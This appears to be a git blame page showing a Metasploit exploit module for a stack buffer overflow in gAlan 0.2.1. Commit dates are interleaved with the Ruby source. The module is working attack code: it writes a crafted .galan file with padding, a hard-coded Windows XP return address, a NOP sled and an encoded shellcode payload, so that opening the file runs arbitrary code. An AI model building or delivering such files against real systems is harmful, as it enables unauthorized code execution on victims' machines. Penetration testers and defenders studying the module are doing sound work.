Files
metasploit-gs/modules/exploits/windows/fileformat/galan_fileformat_bof.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

70 lines
1.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-10 20:41:40 +00:00
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
2012-02-20 19:25:55 -06:00
'Name' => 'gAlan 0.2.1 Buffer Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in gAlan 0.2.1
2012-02-20 19:25:55 -06:00
by creating a specially crafted galan file.
2012-03-15 17:06:20 -05:00
2009-12-10 20:41:40 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2011-12-29 11:27:10 -06:00
'Jeremy Brown <0xjbrown41[at]gmail.com>',
2009-12-10 20:41:40 +00:00
'loneferret',
],
'References' =>
[
[ 'OSVDB', '60897' ],
2012-10-23 21:02:09 +02:00
[ 'EDB', '10339' ],
2009-12-10 20:41:40 +00:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
2020-01-14 20:47:27 -05:00
'DisablePayloadHandler' => true
2009-12-10 20:41:40 +00:00
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], # 0x100175D0 call esi @ glib-1_3
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2009-12-07',
2009-12-10 20:41:40 +00:00
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.galan']),
])
2009-12-10 20:41:40 +00:00
end
def exploit
sploit = "Mjik"
sploit << rand_text_alpha_upper(1028)
sploit << [target.ret].pack('V')
sploit << "\x90" * 45
sploit << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end